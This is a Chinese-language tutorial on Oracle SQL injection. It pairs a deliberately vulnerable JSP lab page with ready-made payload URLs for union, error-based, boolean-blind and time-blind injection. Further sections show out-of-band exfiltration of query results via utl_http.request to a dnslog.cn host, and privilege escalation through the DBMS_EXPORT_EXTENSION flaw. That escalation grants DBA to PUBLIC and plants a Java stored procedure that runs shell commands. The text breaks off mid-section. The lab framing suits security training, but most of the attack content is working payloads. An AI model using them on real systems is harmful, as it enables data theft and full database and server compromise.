Oracle數據庫注入方式總結
Oracle數據庫的基本知識
Oracle數據庫介紹
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
Oracle對于MYSQL、MSSQL來說意味著更大的數據量,更大的權限。
Oracle服務默認端口:1521
Oracle權限分類
權限是用戶對一項功能的執行權力。在Oracle中,根據系統管理方式不同,將Oracle權限分為系統權限與實體權限兩類。系統權限是指是否被授權用戶可以連接到數據庫上,在數據庫中可以進行哪些系統操作。而實體權限是指用戶對具體的模式實體(schema)所擁有的權限。
系統權限:系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)。
實體權限:某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)。
系統權限管理
—— 系統權限分類 ——
?DBA: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。
?RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。
?CONNECT:擁有Connect權限的用戶只可以登錄Oracle,不可以創建實體,不可以創建數據庫結構。
對于普通用戶:授予connect, resource權限。
對于DBA管理用戶:授予connect,resource, dba權限。
系統權限授權命令: 系統權限只能由DBA用戶授出:sys, system(最開始只能是這兩個用戶) 授權命令:SQL> grant connect, resource, dba to 用戶名1 [,用戶名2]…; 注:普通用戶通過授權可以具有與system相同的用戶權限,但永遠不能達到與sys用戶相同的權限,system用戶的權限也可以被回收。 例: SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50; 查詢用戶擁有哪里權限: SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs; 查自己擁有哪些系統權限 SQL> select * from session_privs; 刪除用戶 SQL> drop user 用戶名 cascade; //加上cascade則將用戶連同其創建的東西全部刪除 系統權限傳遞:增加WITH ADMIN OPTION選項,則得到的權限可以傳遞。 SQL> grant connect, resorce to user50 with admin option; //可以傳遞所獲權限。 系統權限回收:系統權限只能由DBA用戶回收 SQL> Revoke connect, resource from user50; 說明: 1)如果使用WITH ADMIN OPTION為某個用戶授予系統權限,那么對于被這個用戶授予相同權限的所有用戶來說,取消該用戶的系統權限并不會級聯取消這些用戶的相同權限。 2)系統權限無級聯,即A授予B權限,B授予C權限,如果A收回B的權限,C的權限不受影響;系統權限可以跨用戶回收,即A可以直接收回C用戶的權限。
實體權限管理
—— 實體權限分類 ——
?select, update, insert, alter, index, delete, all //all包括所有權限
?execute //執行存儲過程權限
user01: SQL> grant select, update, insert on product to user02; SQL> grant all on product to user02; user02: SQL> select * from user01.product; // 此時user02查user_tables,不包括user01.product這個表,但如果查all_tables則可以查到,因為他可以訪問。 將表的操作權限授予全體用戶: SQL> grant all on product to public; // public表示是所有的用戶,這里的all權限不包括drop。 實體權限數據字典 SQL> select owner, table_name from all_tables; // 用戶可以查詢的表 SQL> select table_name from user_tables; // 用戶創建的表 SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 獲權可以存取的表(被授權的) SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出權限的表(授出的權限) DBA用戶可以操作全體用戶的任意基表(無需授權,包括刪除): DBA用戶: SQL> Create table stud02.product( id number(10), name varchar2(20)); SQL> drop table stud02.emp; SQL> create table stud02.employee as select * from scott.emp; 實體權限傳遞(with grant option): user01: SQL> grant select, update on product to user02 with grant option; // user02得到權限,并可以傳遞。 實體權限回收: user01: SQL>Revoke select, update on product from user02; //傳遞的權限將全部丟失。 說明 1)如果取消某個用戶的對象權限,那么對于這個用戶使用WITH GRANT OPTION授予權限的用戶來說,同樣還會取消這些用戶的相同權限,也就是說取消授權時級聯的。
管理角色
建一個角色 sql>create role role1; 授權給角色 sql>grant create any table,create procedure to role1; 授予角色給用戶 sql>grant role1 to user1; 查看角色所包含的權限 sql>select * from role_sys_privs; 創建帶有口令以角色(在生效帶有口令的角色時必須提供口令) sql>create role role1 identified by password1; 修改角色:是否需要口令 sql>alter role role1 not identified; sql>alter role role1 identified by password1; 設置當前用戶要生效的角色 (注:角色的生效是一個什么概念呢?假設用戶a有b1,b2,b3三個角色,那么如果b1未生效,則b1所包含的權限對于a來講是不擁有的,只有角色生效了,角色內的權限才作用于用戶,最大可生效角色數由參數MAX_ENABLED_ROLES設定;在用戶登錄后,oracle將所有直接賦給用戶的權限和用戶默認角色中的權限賦給用戶。) sql>set role role1; //使role1生效 sql>set role role,role2; //使role1,role2生效 sql>set role role1 identified by password1; //使用帶有口令的role1生效 sql>set role all; //使用該用戶的所有角色生效 sql>set role none; //設置所有角色失效 sql>set role all except role1; //除role1外的該用戶的所有其它角色生效。 sql>select * from SESSION_ROLES; //查看當前用戶的生效的角色。 修改指定用戶,設置其默認角色 sql>alter user user1 default role role1; sql>alter user user1 default role all except role1; 刪除角色 sql>drop role role1; 角色刪除后,原來擁用該角色的用戶就不再擁有該角色了,相應的權限也就沒有了。 說明: 1)無法使用WITH GRANT OPTION為角色授予對象權限 2)可以使用WITH ADMIN OPTION 為角色授予系統權限,取消時不是級聯
PL/SQL語言
PL/SQL也是一種程序語言,叫做過程化SQL語言(Procedual Language/SQL)。
PL/SQL是Oracle數據庫對SQL語句的擴展。在普通SQL語句的使用上增加了編程語言的特點,所以PL/SQL就是把數據操作和查詢語句組織在PL/SQL代碼的過程性單元中,通過邏輯判斷、循環等操作實現復雜的功能或者計算的程序語言。在PL/SQL編程語言是由甲骨文公司在20世紀80年代,作為SQL程序擴展語言和Oracle關系數據庫開發。
基本存儲過程結構:
DECLARE BEGIN EXCEPTION END;
SQL注入需注意的規則
1.Oracle使用查詢語言獲取需要跟上表名,這一點和Access類似,沒有表的情況下可以使用dual表,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄。
2.Oracle的數據庫類型是強匹配,所以在Oracle進行類似Union查詢數據時必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用NULL代替某些無法快速猜測出的數據類型位置,這一點和SQLServer類似。
3.Oracle和mysql不一樣,分頁中沒有limit,而是使用三層查詢嵌套的方式實現分頁 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0
4.Oracle的單行注釋符號是--,多行注釋符號/**/。
5.Oracle 數據庫包含了幾個系統表,這幾個系統表里存儲了系統數據庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就存儲了用戶的所有的表、列名,其中table_name 表示的是系統里的表名,column_name 里的是系統里存在的列名。
6.Oracle使用||拼接字符串(在URL中使用編碼%7c表示),concat()函數也可以實現兩個字符串的拼接
實驗環境
?操作系統:Windows Server 2008R2
?數據庫:Microsoft SQL Server 2008R2
?Web服務器:Tomcat 7.0
?腳本語言:jsp
?源代碼:index.jsp
? 本地域名配置:hackrock.com:8080
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%@ page import="oracle.jdbc.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="oracle.sql.*" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
"-//W3C//DTD HTML 4.01 Transitional//EN">
"<%=basePath%>">
Oracle注入測試
"pragma" content="no-cache">
"cache-control" content="no-cache">
"expires" content="0">
"keywords" content="keyword1,keyword2,keyword3">
"description" content="This is my page">
<%
String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath();
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Statement stmt = null;
ResultSet rs=null;
String oraUrl="jdbc:oracle:thin:@127.0.0.1:1521:orcl";
String oraUser="TEST";
String oraPWD="123456";
try
{
DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
}catch (SQLException e)
{
out.print("filed!!");
}
try
{
Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
String sql="select * from news where id="+request.getParameter("id");
out.print("執行語句:
"+sql+"
");
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
out.print("結果為:");
out.print("");
out.print("");
out.print("idtitlecontent");
out.print("");
out.print("");
while(rs.next())
{
out.print("");out.print(rs.getString(1));out.print("");
out.print("");out.print(rs.getString(2));out.print("");
out.print("");out.print(rs.getString(3));out.print("");
}
out.print("");
rs.close();
stmt.close();
conn.close();
} catch (SQLException e)
{
System.out.println(e.toString());
out.print(e.toString());
}
%>
聯合查詢注入
判斷注入點的方式與之前的數據庫注入一樣,就不詳細講了。
判斷查詢列數
依舊提交order by 去猜測顯示當前頁面所用的SQL查詢了多少個字段,也就是確認查詢字段數。
http://hackrock.com:8080/oracle/?id=1 order by 3 --+ http://hackrock.com:8080/oracle/?id=1 order by 4 --+
判斷回顯位
http://hackrock.com:8080/oracle/?id=-1 union select null,null,null from dual --+ http://hackrock.com:8080/oracle/?id=-1 union select 1,'2','3' from dual --+
獲取數據庫基本信息
獲取數據庫版本 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+ 獲取數據庫的實例名(SYS用戶才可查詢) http://hackrock.com:8080/oracle/?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+
獲取用戶名
Oracle沒有數據庫名的概念,所謂數據庫名,即數據表的擁有者,也就是用戶名。
獲取第一個用戶名 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+ 獲取第二個用戶名 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1 and username<>'SYS'),'3' from dual --+ 獲取當前用戶名 http://hackrock.com:8080/oracle/?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+
獲取表名
獲取TEST用戶的第一張表 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+ 獲取TEST用戶的第二張表 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+
獲取字段名
獲取TEST用戶的USERS表的第一個列名 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+ 獲取TEST用戶的USERS表的第二個列名 http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+
獲取數據
http://hackrock.com:8080/oracle/?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+
報錯注入
在oracle注入時候出現了數據庫報錯信息,可以優先選擇報錯注入,使用報錯的方式將查詢數據的結果帶出到錯誤頁面中。
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入(MYSQL僅使用函數報錯即可),類似mssql報錯注入的方式。
utl_inaddr.get_host_name()函數報錯注入
utl_inaddr.get_host_address 本意是獲取ip 地址,但是如果傳遞參數無法得到解析就會返回一個oracle 錯誤并顯示傳遞的參數。
我們傳遞的是一個sql 語句所以返回的就是語句執行的結果。oracle 在啟動之后,把一些系統變量都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西。
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
ctxsys.drithsx.sn()函數報錯注入
獲取用戶名 http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+ 獲取表名 http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ 獲取字段名 http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+ 獲取數據 http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
dbms_xdb_version.checkin()函數報錯注入
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.makeversioned()函數報錯注入
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.uncheckout()函數報錯注入
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_utility.sqlid_to_sqlhash()函數報錯注入
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath()函數報錯注入
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
XMLType()函數報錯注入
獲取用戶名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+ 獲取表名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+ 獲取字段名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+ 獲取數據 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+
布爾型盲注
decode()函數布爾盲注
decode(字段或字段的運算,值1,值2,值3)
這個函數運行的結果是,當字段或字段的運算的值等于值1時,該函數返回值2,否則返回3。
當然值1,值2,值3也可以是表達式,這個函數使得某些sql語句簡單了許多。
使用方法:
比較大小
select decode(sign(變量1-變量2),-1,變量1,變量2) from dual; --取較小值
sign()函數根據某個值是0、正數還是負數,分別返回0、1、-1
例如:
變量1=10,變量2=20,則sign(變量1-變量2)返回-1,decode解碼結果為“變量1”,達到了取較小值的目的。
select decode(sign(10-20),-1,10,20) from dual;
猜解當前用戶
判斷是否是TEST用戶 http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+ 也可利用substr()函數進行逐一猜解 http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'T',1,0) from dual) --+
猜解表名
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
猜解字段名
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+
猜解數據
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+
instr()函數布爾盲注
instr函數的使用,從一個字符串中查找指定子串的位置。例如:
select instr('abcdef123de','de') position from dual;

043da52fbdd3d786b78a7384caa9c6c7.png
從1開始算 de排第四所以返回4
布爾盲注中的應用
http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'S'))=1 --+ http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'SY'))=1 --+ http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'SYS'))=1 --+
payload構造如上。
substr()函數布爾盲注
獲取數據長度
http://hackrock.com:8080/oracle/?id=1 and (select length(user) from dual)=3 --+
猜解ASCII碼
http://hackrock.com:8080/oracle/?id=1 and (select ascii(substr(user,1,1))from dual)>65 --+
payload構造如上。
時間型盲注
oracle注入中可以通過頁面響應的狀態,這里指的是響應時間,通過這種方式判斷SQL是否被執行的方式,便是時間盲注。
oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用于其他數據庫。
dbms_pipe.receive_message()函數時間盲注
DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。
首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE()函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
查看是否可以使用dbms_pipe.receive_message()函數進行延時注入
http://hackrock.com:8080/oracle/?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+

c73218c0384317c32b1796c080b43cad.png
來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE ( pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER;
具體payload構造:
猜解當前用戶
http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
猜解表名
http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
猜解字段
http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
猜解數據
http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
decode()函數時間盲注
(select count(*) from all_objects)會花費更多時間去查詢所有數據庫的條目。不過在使用的過程中有很多不盡如人意的地方,有時候加載快有時加載慢。
時間盲注的應用
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual)
payload構造如上。
decode()與dbms_pipe.receive_message()嵌套時間盲注
時間盲注的應用
http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual)
payload構造如上。
DNS帶外通信注入
Oracle注入之帶外通信和DNSLOG注入非常相似,例如和mysql中load_file()函數實現無回顯注入非常相似。
Oracle發送HTTP和DNS請求,并將查詢結果帶到請求中,然后檢測外網服務器的HTTP和DNS日志,從日志中獲取查詢結果,通過這種方式將繁瑣的盲注轉換成可以直接獲取查詢結果的方式。
使用第三方平臺,監聽訪問請求,并記錄請求的日志信息,然后使用utl_http.request()向外網主機發送http請求,請求便攜帶了查詢的結果信息。此處可以結合SSRF進行內網探測。或許這就是Oracle的SSRF。
利用utl.inaddr.get_host_address(),將查詢結果拼接到域名下,并使用DNS記錄解析日志,通過這種方式獲取查詢結果。
檢測是否支持utl_http.request
http://hackrock.com:8080/oracle/?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+
若頁面返回正常,這說明支持utl_http.request
構造payload
獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
獲取表名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
獲取列名
http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
獲取數據
http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
利用漏洞提權執行命令
Oracle提權漏洞集中存在于PL/SQL編寫的函數、存儲過程、包、觸發器中。Oracle存在提權漏洞的一個重要原因是PL/SQL定義的兩種調用權限導致(定義者權限和調用者權限)。定義者權限給了低權限用戶在特定時期擁有高權限的可能,這就給提權操作奠定了基礎。
即,無論調用者權限如何,執行存儲過程的結果權限永遠為定義者權限,因此,如果一個較高權限的用戶定義了存儲過程,并賦予了低權限用戶調用權限,較低權限的用戶即可利用這個存儲過程提權。
Java作為Oracle公司的主打語言,具有內置的安全性機制和高效的垃圾收集系統。Java還具有一組非常大的、豐富的標準庫,從而可以更快、更低成本地開發應用程序。因此Oracle公司在它的Oracle數據庫中,同樣支持了使用Java來編寫存儲過程。
那么對于攻擊者來說,完全可以通過這一特性,在系統上執行Java代碼,從而完成提權操作。
攻擊流程:

859e8d3edbce11899c6415bfac2e25ee.png
本文測試環境均為:
CentOS Linux release 7.2.1511 (Core)
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit Production
執行方式很多種,這邊只研究Oracle10g,并且本地實測成功的
?DBMS_EXPORT_EXTENSION()
?dbms_xmlquery.newcontext()
?DBMS_JAVA_TEST.FUNCALL()
dbms_export_extension()
?影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
?權限:None
?詳情:這個軟件包有許多易受PL/SQL注入攻擊的函數。這些函數由SYS擁有,作為SYS執行并且可由PUBLIC執行。因此,如果SQL注入處于上述任何未修補的Oracle數據庫版本中,那么攻擊者可以調用該函數并直接執行SYS查詢。
提升權限
該請求將導致查詢"GRANT DBA TO PUBLIC"以SYS身份執行。因為這個函數允許PL / SQL缺陷(PL / SQL注入)。一旦這個請求成功執行,PUBLIC獲取DBA角色,從而提升當前user的特權
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
使用Java執行
創建Java庫
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
賦予Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
執行系統命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

46a99a5f54c8a8cbadca2549dd53d9fe.png
dbms_xmlquery.newcontext()
?影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
?必須在DBMS_PORT_EXTENSION存在漏洞情況下,否則賦予權限時無法成功s
創建Java庫
